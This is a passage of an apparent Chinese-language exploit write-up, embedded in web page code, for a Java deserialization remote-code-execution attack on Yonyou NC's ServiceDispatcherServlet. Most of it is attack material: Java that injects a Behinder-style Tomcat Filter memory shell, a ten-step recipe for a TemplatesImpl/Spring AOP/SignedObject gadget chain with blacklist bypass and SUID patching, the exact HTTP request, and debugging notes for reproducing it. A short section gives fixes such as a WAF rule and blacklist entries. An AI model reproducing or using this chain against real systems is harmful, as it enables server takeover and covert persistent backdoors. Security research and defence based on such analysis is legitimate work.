\u7f16\u8bd1\u4f46\u4e0d\u6307\u5b9a target\uff0c\u9ed8\u8ba4\u751f\u6210 major=55 \u7684\u5b57\u8282\u7801\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"TxlCarrier.class \u5b57\u8282 6-7: 00 37 \uff08major=55\uff0cJava 11\uff09\n \u2193 \u670d\u52a1\u5668\u52a0\u8f7d\u65f6\uff1aUnsupportedClassVersionError \u2192 \u9759\u9ed8\u5931\u8d25\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u52a0\u4e0a ",(0,l.jsx)(n.code,{children:"-source 8 -target 8"})," \u540e\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"TxlCarrier.class \u5b57\u8282 6-7: 00 34 \uff08major=52\uff0cJava 8\uff09\n \u2193 \u670d\u52a1\u5668\u52a0\u8f7d\u6210\u529f \u2192 \u6267\u884c\n"})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u4e5d\u4ece-shell-\u5b57\u8282\u7801\u63d0\u53d6\u7c7b\u540d",children:"\u4e5d\u3001\u4ece Shell \u5b57\u8282\u7801\u63d0\u53d6\u7c7b\u540d"}),"\n",(0,l.jsxs)(n.p,{children:["PoC \u9700\u8981\u4ece Shell.class \u5b57\u8282\u7801\u4e2d\u81ea\u52a8\u63d0\u53d6\u7c7b\u540d\uff0c\u4ee5\u586b\u5165 TxlCarrier \u7684 ",(0,l.jsx)(n.code,{children:"Class.forName()"})," \u53c2\u6570\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"91-java-class-\u6587\u4ef6\u5e38\u91cf\u6c60\u7ed3\u6784",children:"9.1 Java class \u6587\u4ef6\u5e38\u91cf\u6c60\u7ed3\u6784"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"class \u6587\u4ef6\u683c\u5f0f\uff08\u7b80\u5316\uff09\uff1a\nOffset Size \u542b\u4e49\n 0 4 magic: CA FE BA BE\n 4 2 minor_version\n 6 2 major_version\n 8 2 constant_pool_count\uff08\u5e38\u91cf\u6570 + 1\uff09\n 10 ... constant_pool[]\uff08\u53d8\u957f\uff09\n ... 2 this_class\uff08\u6307\u5411 constant_pool \u7684 CONSTANT_Class \u7d22\u5f15\uff09\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u5e38\u91cf\u6c60\u6bcf\u4e2a\u6761\u76ee\u7684\u7b2c\u4e00\u4e2a\u5b57\u8282\u662f tag\uff1a"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"tag=7"}),"\uff08CONSTANT_Class\uff09\uff1a\u540e\u8ddf 2B \u6307\u5411 CONSTANT_Utf8 \u7684\u7d22\u5f15"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"tag=1"}),"\uff08CONSTANT_Utf8\uff09\uff1a\u540e\u8ddf 2B \u957f\u5ea6 + N \u5b57\u8282 UTF-8 \u5b57\u7b26\u4e32"]}),"\n"]}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"this_class"})," \u2192 CONSTANT_Class \u2192 CONSTANT_Utf8 \u2192 \u7c7b\u7684\u4e8c\u8fdb\u5236\u540d\uff08\u7528 ",(0,l.jsx)(n.code,{children:"/"})," \u5206\u9694\uff0c\u5982 ",(0,l.jsx)(n.code,{children:"org/apache/commons/lang/v/SOAPUtils"}),"\uff09"]}),"\n",(0,l.jsx)(n.h3,{id:"92-\u63d0\u53d6\u4ee3\u7801",children:"9.2 \u63d0\u53d6\u4ee3\u7801"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"static String extractClassName(byte[] b) throws Exception {\n // \u8df3\u8fc7 magic(4) + minor(2) + major(2) = 8 \u5b57\u8282\n int cpCount = ((b[8] & 0xFF) << 8) | (b[9] & 0xFF); // \u5e38\u91cf\u6c60\u5927\u5c0f\n\n // \u89e3\u6790\u6240\u6709\u5e38\u91cf\u6c60\u6761\u76ee\uff0c\u5efa\u7acb index\u2192value \u6620\u5c04\n int[] tag = new int[cpCount];\n String[] utf8 = new String[cpCount];\n int[] classRef = new int[cpCount]; // Class \u6761\u76ee\u6307\u5411\u7684 Utf8 \u7d22\u5f15\n int pos = 10;\n\n for (int i = 1; i < cpCount; i++) {\n tag[i] = b[pos++] & 0xFF;\n switch (tag[i]) {\n case 1: // CONSTANT_Utf8\n int len = ((b[pos]&0xFF)<<8)|(b[pos+1]&0xFF); pos+=2;\n utf8[i] = new String(b, pos, len, \"UTF-8\"); pos += len;\n break;\n case 7: // CONSTANT_Class\n classRef[i] = ((b[pos]&0xFF)<<8)|(b[pos+1]&0xFF); pos+=2;\n break;\n case 8: case 16: pos+=2; break; // String, MethodType\n case 3: case 4: case 9: case 10:\n case 11: case 12: case 18: pos+=4; break;\n case 5: case 6: pos+=8; i++; break; // Long/Double \u5360\u4e24\u4e2a\u69fd\n case 15: pos+=3; break;\n case 19: case 20: pos+=2; break;\n default: throw new RuntimeException(\"Unknown CP tag: \" + tag[i]);\n }\n }\n\n // \u8bfb\u53d6 this_class\uff08\u5728\u5e38\u91cf\u6c60\u540e\u9762\uff09\n int thisClass = ((b[pos]&0xFF)<<8)|(b[pos+1]&0xFF);\n // this_class \u2192 classRef[thisClass] \u2192 utf8 \u5b57\u7b26\u4e32\uff08\u4e8c\u8fdb\u5236\u540d\uff0c/ \u5206\u9694\uff09\n String binaryName = utf8[classRef[thisClass]];\n return binaryName.replace('/', '.'); // \u8f6c\u4e3a\u70b9\u5206\u7c7b\u540d\n}\n"})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u5341tomcat-filter-\u5185\u5b58\u9a6c\u6ce8\u5165\u8be6\u89e3",children:"\u5341\u3001Tomcat Filter \u5185\u5b58\u9a6c\u6ce8\u5165\u8be6\u89e3"}),"\n",(0,l.jsx)(n.h3,{id:"101-\u6ce8\u5165\u76ee\u6807standardcontext",children:"10.1 \u6ce8\u5165\u76ee\u6807\uff1aStandardContext"}),"\n",(0,l.jsxs)(n.p,{children:["Tomcat \u7684 Filter \u94fe\u7531 ",(0,l.jsx)(n.code,{children:"StandardContext"})," \u7ba1\u7406\u3002\u5173\u952e\u5b57\u6bb5\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:"// org.apache.catalina.core.StandardContext\uff08\u7b80\u5316\uff09\npublic class StandardContext extends ContainerBase {\n private Map filterConfigs; // Filter \u5b9e\u4f8b\u6620\u5c04\n private Map filterDefs; // Filter \u5b9a\u4e49\u6620\u5c04\n private FilterMap[] filterMaps; // URL \u6620\u5c04\u6570\u7ec4\n}\n"})}),"\n",(0,l.jsx)(n.p,{children:"\u6ce8\u5165\u6d41\u7a0b\uff1a\u5411\u8fd9\u4e09\u4e2a\u6570\u636e\u7ed3\u6784\u4e2d\u6dfb\u52a0\u9879\uff0c\u6a21\u62df Tomcat \u542f\u52a8\u65f6\u52a0\u8f7d web.xml \u7684\u6548\u679c\u3002"}),"\n",(0,l.jsx)(n.h3,{id:"102-\u83b7\u53d6-standardcontext-\u7684\u65b9\u6cd5",children:"10.2 \u83b7\u53d6 StandardContext \u7684\u65b9\u6cd5"}),"\n",(0,l.jsxs)(n.p,{children:["\u5185\u5b58\u9a6c\u6ce8\u5165\u65f6\uff0c\u6ca1\u6709\u76f4\u63a5\u7684 ",(0,l.jsx)(n.code,{children:"ServletContext"})," \u5f15\u7528\uff0c\u9700\u8981\u901a\u8fc7\u7ebf\u7a0b\u53cd\u5c04\u83b7\u53d6\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// \u65b9\u6cd5\uff1a\u4ece\u5f53\u524d\u7ebf\u7a0b\u83b7\u53d6 Tomcat \u4e0a\u4e0b\u6587\nThread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");\nfor (Thread t : threads) {\n if (t.getName().contains("ContainerBackgroundProcessor")) continue;\n Object target = getField(t, "target"); // Runnable\n Object children = invokeMethod(target, "getContext");\n // \u904d\u5386\u76f4\u5230\u627e\u5230 StandardContext\n for (Object ctx : (List)children) {\n if (ctx.getClass().getName().contains("StandardContext")) {\n standardContext = ctx;\n break;\n }\n }\n}\n'})}),"\n",(0,l.jsx)(n.h3,{id:"103-\u52a8\u6001\u5b9a\u4e49\u5e76\u6ce8\u518c-filter",children:"10.3 \u52a8\u6001\u5b9a\u4e49\u5e76\u6ce8\u518c Filter"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'// 1. \u4ece Base64 \u89e3\u5bc6 Filter \u5b57\u8282\u7801\nbyte[] filterBytes = gzipDecompress(decodeBase64(BASE64_FILTER_BYTES));\n\n// 2. \u7528 Catalina \u7684 ClassLoader \u52a0\u8f7d Filter \u7c7b\uff08\u907f\u514d ClassLoader \u9694\u79bb\u95ee\u9898\uff09\nClassLoader catalinaLoader = getCatalinaLoader(standardContext);\nClass filterClass = loadClass(catalinaLoader, filterName, filterBytes);\n\n// 3. \u521b\u5efa FilterDef\nObject filterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef")\n .newInstance();\ninvokeMethod(filterDef, "setFilterName", filterName);\ninvokeMethod(filterDef, "setFilterClass", filterClass.getName());\n// \u5411 StandardContext \u6ce8\u518c FilterDef\ninvokeMethod(standardContext, "addFilterDef", filterDef);\n\n// 4. \u521b\u5efa FilterMap\uff08URL \u6a21\u5f0f /*\uff09\nObject filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap")\n .newInstance();\ninvokeMethod(filterMap, "setFilterName", filterName);\ninvokeMethod(filterMap, "addURLPattern", "/*");\ninvokeMethod(filterMap, "setDispatcher", "REQUEST");\n// \u63d2\u5230\u8fc7\u6ee4\u5668\u94fe\u6700\u524d\u7aef\uff08addFilterMapBefore \u4f18\u5148\u4e8e addFilterMap\uff09\ninvokeMethod(standardContext, "addFilterMapBefore", filterMap);\n\n// 5. \u5b9e\u4f8b\u5316 ApplicationFilterConfig\uff0c\u6ce8\u5165 filterConfigs\nObject filterConfig = createFilterConfig(standardContext, filterDef);\nMap filterConfigs = (Map) getField(standardContext, "filterConfigs");\nfilterConfigs.put(filterName, filterConfig);\n'})}),"\n",(0,l.jsx)(n.h3,{id:"104-\u51b0\u874e\u5185\u5b58\u9a6c\u8bf7\u6c42\u5904\u7406\u6d41\u7a0b",children:"10.4 \u51b0\u874e\u5185\u5b58\u9a6c\u8bf7\u6c42\u5904\u7406\u6d41\u7a0b"}),"\n",(0,l.jsx)(n.p,{children:"\u6ce8\u5165\u6210\u529f\u540e\uff0c\u4efb\u4f55\u5230\u8fbe\u8be5 Tomcat \u5b9e\u4f8b\u7684 HTTP \u8bf7\u6c42\u90fd\u4f1a\u7ecf\u8fc7 Filter\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:"HTTP \u8bf7\u6c42\u5230\u8fbe\n \u2192 Tomcat \u6784\u5efa FilterChain\uff08\u4ece filterMaps \u4e2d\u5339\u914d /*\uff09\n \u2192 \u5185\u5b58\u9a6c Filter.doFilter() \u6700\u5148\u6267\u884c\n \u251c\u2500 \u8bfb\u53d6\u8bf7\u6c42\u5934 User-Agent \u662f\u5426\u5339\u914d\u7ea6\u5b9a\u503c\n \u251c\u2500 \u5982\u679c\u5339\u914d\uff1a\u8bfb\u53d6\u8bf7\u6c42\u4f53\uff0cAES \u89e3\u5bc6\u5f97\u5230\u547d\u4ee4\n \u2502 \u251c\u2500 \u6267\u884c\u547d\u4ee4\uff08exec/\u53cd\u5c04\u8c03\u7528\uff09\n \u2502 \u2514\u2500 AES \u52a0\u5bc6\u7ed3\u679c\u5199\u56de\u54cd\u5e94\n \u2514\u2500 \u5982\u679c\u4e0d\u5339\u914d\uff1achain.doFilter() \u6b63\u5e38\u653e\u884c\n"})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u5341\u4e00\u5b8c\u6574-payload-\u6784\u9020\u6d41\u7a0b\u6b65\u9aa4\u7ea7",children:"\u5341\u4e00\u3001\u5b8c\u6574 Payload \u6784\u9020\u6d41\u7a0b\uff08\u6b65\u9aa4\u7ea7\uff09"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:'Step 1 \u8bfb\u53d6 Shell.class \u5b57\u8282\u7801\n - \u5c06\u51b0\u874e/\u54e5\u65af\u62c9\u5de5\u5177\u751f\u6210\u7684\u6ce8\u5165\u5668 class \u7684 Base64 \u89e3\u7801\u4e3a\u5b57\u8282\u6570\u7ec4\n - \u5982 org.apache.commons.lang.v.SOAPUtils\uff0817108 \u5b57\u8282\uff09\n\nStep 2 \u63d0\u53d6 Shell \u7c7b\u540d\n - \u89e3\u6790\u5b57\u8282\u7801\u5e38\u91cf\u6c60\uff08\u89c1\u7b2c\u4e5d\u7ae0\uff09\n - \u5f97\u5230\u70b9\u5206\u7c7b\u540d\uff1aorg.apache.commons.lang.v.SOAPUtils\n\nStep 3 \u52a8\u6001\u7f16\u8bd1 TxlCarrier\uff08Java 8\uff09\n - \u521b\u5efa\u4e34\u65f6\u76ee\u5f55\uff0c\u5199\u5165\u5047 AbstractTranslet.java\n - \u7528 shellClassName \u586b\u5145 TxlCarrier.java \u6a21\u677f\n - javac -source 8 -target 8 \u7f16\u8bd1\u4e24\u4e2a\u6587\u4ef6\n - \u8bfb\u53d6 TxlCarrier.class\uff08\u7ea6 400-600 \u5b57\u8282\uff09\n - \u9a8c\u8bc1 major_version = 52\uff080x34\uff09\n\nStep 4 \u6784\u5efa\u5185\u5c42 TemplatesImpl\n - new TemplatesImpl()\n - setField("_bytecodes", new byte[][]{carrierBytes, shellBytes})\n - setField("_name", "x") // \u5fc5\u987b\u975e\u7a7a\uff0c\u5426\u5219 getTransletInstance \u76f4\u63a5\u8fd4\u56de null\n - setField("_tfactory", new TransformerFactoryImpl()) // \u67d0\u4e9b\u7248\u672c\u9700\u8981\n - setField("_class", null) // \u5f3a\u5236\u91cd\u65b0 defineClass\n\nStep 5 \u6784\u5efa\u5185\u5c42 Spring AOP PriorityQueue\n - AdvisedSupport.targetSource = SingletonTargetSource(templatesImpl)\n - advisor = AspectJMethodBeforeAdvice \u7ed1\u5b9a getOutputProperties \u65b9\u6cd5\n - PQ comparator = JdkDynamicAopProxy(advisedSupport) \u4ee3\u7406 Comparator\n - PQ.queue = [templatesImpl, templatesImpl], size = 2\n\nStep 6 \u7528 SignedObject \u5305\u88c5\u5185\u5c42\u94fe\n - \u751f\u6210\u4e34\u65f6 RSA 2048 \u5bc6\u94a5\u5bf9\uff08\u4e0d\u9700\u8981\u9884\u5171\u4eab\uff09\n - SignedObject(innerPQ, privateKey, SHA256withRSA)\n - \u5185\u5c42\u94fe\u88ab\u5e8f\u5217\u5316\u8fdb SignedObject.content \u5b57\u8282\u6570\u7ec4\n\nStep 7 \u6784\u5efa\u5916\u5c42 Spring AOP PriorityQueue\n - AdvisedSupport.targetSource = SingletonTargetSource(signedObject)\n - advisor = AspectJMethodBeforeAdvice \u7ed1\u5b9a getObject \u65b9\u6cd5\n - PQ comparator = JdkDynamicAopProxy(advisedSupport)\n - PQ.queue = [signedObject, signedObject], size = 2\n\nStep 8 Java \u5e8f\u5217\u5316\n - ObjectOutputStream.writeObject(outerPQ)\n - \u5f97\u5230\u5e8f\u5217\u5316\u5b57\u8282\u6d41\n\nStep 9 Patch SUID\n - \u5728\u5e8f\u5217\u5316\u5b57\u8282\u6d41\u4e2d\u5b9a\u4f4d AspectJExpressionPointcut \u7c7b\u540d\n - \u5c06\u7d27\u968f\u5176\u540e\u7684 SUID \u4ece -1412488595531480267L \u66ff\u6362\u4e3a -2303280975268180194L\n - EC B7 CA 46 1A 59 B6 75 \u2192 E0 01 9E DC 53 7B 26 3E\n\nStep 10 NC SDS \u5c01\u5305\n - body = [72 71 89 00] + \u5e8f\u5217\u5316\u5b57\u8282\u6d41\n - \u6700\u7ec8 = [4B Big-Endian(body.length)] + body\n - \u5199\u5165 payload.bin\uff0c\u603b\u5927\u5c0f\u7ea6 21684 \u5b57\u8282\n'})}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u5341\u4e8chttp-\u8bf7\u6c42\u683c\u5f0f",children:"\u5341\u4e8c\u3001HTTP \u8bf7\u6c42\u683c\u5f0f"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-http",children:"POST /ServiceDispatcherServlet/NCSysBrokerServlet HTTP/1.1\nHost: :\nContent-Type: application/octet-stream\nserverEnable: localserver\nContent-Length: 21684\n\n\n"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u6ce8\u610f\u4e8b\u9879"}),"\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"Content-Type"})," \u5fc5\u987b\u4e3a ",(0,l.jsx)(n.code,{children:"application/octet-stream"}),"\uff0c\u5426\u5219\u670d\u52a1\u7aef\u53ef\u80fd\u62d2\u7edd"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"serverEnable: localserver"})," \u662f NC SDS \u534f\u8bae\u8981\u6c42\u7684\u5934\uff0c\u7f3a\u5c11\u53ef\u80fd\u5bfc\u81f4\u670d\u52a1\u7aef\u5ffd\u7565\u8bf7\u6c42"]}),"\n",(0,l.jsxs)(n.li,{children:["Body \u662f\u539f\u59cb\u4e8c\u8fdb\u5236\uff0c\u5728 Burp \u4e2d\u901a\u8fc7 ",(0,l.jsx)(n.code,{children:"Paste from file"})," \u52a0\u8f7d payload.bin"]}),"\n",(0,l.jsxs)(n.li,{children:["HTTPS \u76ee\u6807\u53ea\u9700\u5c06 scheme \u6539\u4e3a ",(0,l.jsx)(n.code,{children:"https://"}),"\uff0cpayload \u5b57\u8282\u5185\u5bb9\u5b8c\u5168\u4e0d\u53d8"]}),"\n"]}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u6210\u529f\u54cd\u5e94\u7279\u5f81"}),"\uff1a"]}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:["\u8fd4\u56de ",(0,l.jsx)(n.code,{children:"NullPointerException"})," \u5806\u6808\uff08Filter \u6ce8\u5165\u6210\u529f\uff0c\u540e\u7eed\u5904\u7406\u629b\u7a7a\u6307\u9488\uff09"]}),"\n",(0,l.jsx)(n.li,{children:"\u6216\u8fd4\u56de HTTP 500\uff0c\u4f46\u5185\u5b58\u9a6c\u5df2\u7ecf\u6ce8\u5165"}),"\n",(0,l.jsxs)(n.li,{children:["\u4e0d\u5e94\u8be5\u51fa\u73b0 ",(0,l.jsx)(n.code,{children:"InvalidClassException"}),"\uff08SUID \u4e0d\u5bf9\uff09\u6216 ",(0,l.jsx)(n.code,{children:"ClassFormatError"}),"\uff08\u5b57\u8282\u7801\u7248\u672c\u4e0d\u5bf9\uff09"]}),"\n"]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u5341\u4e09\u5173\u952e\u9677\u9631\u603b\u7ed3",children:"\u5341\u4e09\u3001\u5173\u952e\u9677\u9631\u603b\u7ed3"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{children:"\u9677\u9631"}),(0,l.jsx)(n.th,{children:"\u89e6\u53d1\u6761\u4ef6"}),(0,l.jsx)(n.th,{children:"\u73b0\u8c61"}),(0,l.jsx)(n.th,{children:"\u89e3\u51b3\u65b9\u6848"})]})}),(0,l.jsxs)(n.tbody,{children:[(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"VerifyError \u9759\u9ed8\u5931\u8d25"}),(0,l.jsx)(n.td,{children:"TxlCarrier \u542b DOM/DTMAxisIterator \u65b9\u6cd5\u5f15\u7528"}),(0,l.jsx)(n.td,{children:"\u65e0\u62a5\u9519\uff0cShell \u672a\u6267\u884c"}),(0,l.jsx)(n.td,{children:"\u7528\u5047 AbstractTranslet\uff0cTxlCarrier \u4e0d\u5b9e\u73b0\u4efb\u4f55\u65b9\u6cd5"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"UnsupportedClassVersionError \u9759\u9ed8\u5931\u8d25"}),(0,l.jsx)(n.td,{children:"\u5b57\u8282\u7801 major > 52"}),(0,l.jsx)(n.td,{children:"\u65e0\u62a5\u9519\uff0cShell \u672a\u6267\u884c"}),(0,l.jsxs)(n.td,{children:["\u7f16\u8bd1\u52a0 ",(0,l.jsx)(n.code,{children:"-source 8 -target 8"})]})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"InvalidClassException"}),(0,l.jsx)(n.td,{children:"SUID \u7248\u672c\u4e0d\u5339\u914d"}),(0,l.jsx)(n.td,{children:"\u670d\u52a1\u7aef\u629b\u5f02\u5e38\uff0c\u5916\u5c42\u94fe\u4e2d\u65ad"}),(0,l.jsx)(n.td,{children:"Patch \u5e8f\u5217\u5316\u6d41\u4e2d\u7684 SUID \u5b57\u8282"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"Class.forName \u627e\u4e0d\u5230 Shell"}),(0,l.jsx)(n.td,{children:"TxlCarrier \u548c Shell \u4e0d\u5728\u540c\u4e00 ClassLoader"}),(0,l.jsx)(n.td,{children:"ClassNotFoundException \u88ab catch \u541e\u6389"}),(0,l.jsxs)(n.td,{children:["\u4e24\u4e2a class \u90fd\u653e\u5728 ",(0,l.jsx)(n.code,{children:"_bytecodes[]"}),"\uff0c\u7531\u540c\u4e00 TransletClassLoader \u52a0\u8f7d"]})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"TemplatesImpl._name \u4e3a null"}),(0,l.jsx)(n.td,{children:'\u6f0f\u6389 setField("_name", ...)'}),(0,l.jsx)(n.td,{children:"getTransletInstance() \u76f4\u63a5\u8fd4\u56de null"}),(0,l.jsx)(n.td,{children:"\u5fc5\u987b\u8bbe\u7f6e _name \u4e3a\u4efb\u610f\u975e\u7a7a\u5b57\u7b26\u4e32"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"NCObjectInputStream \u62e6\u622a"}),(0,l.jsx)(n.td,{children:"\u5916\u5c42\u94fe\u5305\u542b\u9ed1\u540d\u5355\u7c7b"}),(0,l.jsx)(n.td,{children:"\u629b InvalidClassException"}),(0,l.jsx)(n.td,{children:"\u5916\u5c42\u94fe\u53ea\u7528 JDK \u539f\u751f\u7c7b + SignedObject + Spring AOP \u975e\u9ed1\u540d\u5355\u7c7b"})]}),(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{children:"SignedObject \u53cc\u5c42\u7b7e\u540d\u95ee\u9898"}),(0,l.jsx)(n.td,{children:"\u5185\u5c42\u94fe\u672c\u8eab\u542b SignedObject"}),(0,l.jsx)(n.td,{children:"\u4e8c\u6b21\u4e8c\u6b21\u53cd\u5e8f\u5217\u5316"}),(0,l.jsx)(n.td,{children:"\u5185\u5c42\u94fe\u76f4\u63a5\u7528 TemplatesImpl\uff0c\u4e0d\u518d\u5d4c\u5957 SignedObject"})]})]})]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u5341\u56db\u4fee\u590d\u5efa\u8bae",children:"\u5341\u56db\u3001\u4fee\u590d\u5efa\u8bae"}),"\n",(0,l.jsx)(n.h3,{id:"141-\u4e34\u65f6\u7f13\u89e3",children:"14.1 \u4e34\u65f6\u7f13\u89e3"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.strong,{children:"\u7f51\u7edc\u5c42"}),"\uff1a\u5728\u9632\u706b\u5899/\u8d1f\u8f7d\u5747\u8861\u7981\u6b62\u5916\u7f51\u76f4\u63a5\u8bbf\u95ee ",(0,l.jsx)(n.code,{children:"/ServiceDispatcherServlet/*"})]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.strong,{children:"WAF \u89c4\u5219"}),"\uff1a\u68c0\u6d4b HTTP POST Body \u524d 8 \u5b57\u8282\u4e3a ",(0,l.jsx)(n.code,{children:"[\u4efb\u610f4B][72 71 89 00]"})," \u7684\u8bf7\u6c42"]}),"\n"]}),"\n",(0,l.jsx)(n.h3,{id:"142-\u6839\u672c\u4fee\u590d",children:"14.2 \u6839\u672c\u4fee\u590d"}),"\n",(0,l.jsxs)(n.ol,{children:["\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u5b8c\u5584\u9ed1\u540d\u5355"}),"\uff1a\u5728 ",(0,l.jsx)(n.code,{children:"NCObjectInputStream.resolveClass()"})," \u4e2d\u52a0\u5165\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-java",children:'|| name.equals("java.security.SignedObject")\n|| name.startsWith("org.springframework.aop.aspectj.")\n|| name.startsWith("sun.reflect.annotation.")\n'})}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u5207\u6362\u767d\u540d\u5355\u6a21\u5f0f"}),"\uff1a\u53cd\u5e8f\u5217\u5316\u65f6\u53ea\u5141\u8bb8\u5df2\u77e5\u5b89\u5168\u7684 NC \u4e1a\u52a1\u7c7b\uff0c\u62d2\u7edd\u5176\u4ed6\u4e00\u5207\u7c7b\uff08\u66f4\u5b89\u5168\uff09"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u8eab\u4efd\u9a8c\u8bc1"}),"\uff1a\u5728\u6267\u884c ",(0,l.jsx)(n.code,{children:"readObject()"})," \u524d\u589e\u52a0 Session/Token \u9a8c\u8bc1\uff0c\u672a\u8ba4\u8bc1\u8bf7\u6c42\u76f4\u63a5\u62d2\u7edd"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:["\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.strong,{children:"\u5347\u7ea7 xalan \u4f9d\u8d56"}),"\uff1a\u65b0\u7248 xalan \u7684 ",(0,l.jsx)(n.code,{children:"TemplatesImpl"})," \u5df2\u52a0\u5f3a\u5b89\u5168\u68c0\u67e5"]}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsx)(n.h2,{id:"\u5341\u4e94poc-\u5f00\u53d1\u5168\u8fc7\u7a0b\u8e29\u5751\u8bb0\u5f55",children:"\u5341\u4e94\u3001PoC \u5f00\u53d1\u5168\u8fc7\u7a0b\u8e29\u5751\u8bb0\u5f55"}),"\n",(0,l.jsx)(n.p,{children:"\u672c\u7ae0\u8bb0\u5f55 PoC \u5f00\u53d1\u8fc7\u7a0b\u4e2d\u9047\u5230\u7684\u6240\u6709\u5b9e\u9645\u95ee\u9898\u3001\u62a5\u9519\u73b0\u8c61\u3001\u6839\u56e0\u5206\u6790\u548c\u89e3\u51b3\u65b9\u6848\uff0c\u4f9b\u590d\u73b0\u65f6\u53c2\u8003\u3002"}),"\n",(0,l.jsx)(n.hr,{}),"\n",(0,l.jsxs)(n.h3,{id:"\u95ee\u9898\u4e00stringindexoutofboundsexception-at-extractclassname",children:["\u95ee\u9898\u4e00\uff1a",(0,l.jsx)(n.code,{children:"StringIndexOutOfBoundsException"})," at ",(0,l.jsx)(n.code,{children:"extractClassName"})]}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u73b0\u8c61"})}),"\n",(0,l.jsx)(n.p,{children:"\u8fd0\u884c PoC \u65f6\u629b\u51fa\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{children:'Exception in thread "main" java.lang.StringIndexOutOfBoundsException: String index out of range: -1\n at bip_ServiceDispatcherServlet_poc.extractClassName(...)\n'})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u6839\u56e0\u5206\u6790"})}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"extractClassName()"})," \u89e3\u6790 class \u6587\u4ef6\u5e38\u91cf\u6c60\u65f6\uff0c",(0,l.jsx)(n.code,{children:"SHELL_B64"})," \u662f\u4e00\u4e2a\u5360\u4f4d\u7b26\u6216\u88ab\u622a\u65ad\u7684 Base64 \u5b57\u7b26\u4e32\uff0c\u89e3\u7801\u540e\u7684\u5b57\u8282\u6570\u7ec4\u4e0d\u662f\u5408\u6cd5\u7684 class \u6587\u4ef6\u3002\u89e3\u6790\u8fc7\u7a0b\u4e2d\u5e38\u91cf\u6c60\u504f\u79fb\u8ba1\u7b97\u8d8a\u754c\uff0c\u5bfc\u81f4\u8bfb\u53d6\u5230\u975e\u6cd5\u4f4d\u7f6e\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u5177\u4f53\u6765\u8bf4\uff1a\u5e38\u91cf\u6c60 tag 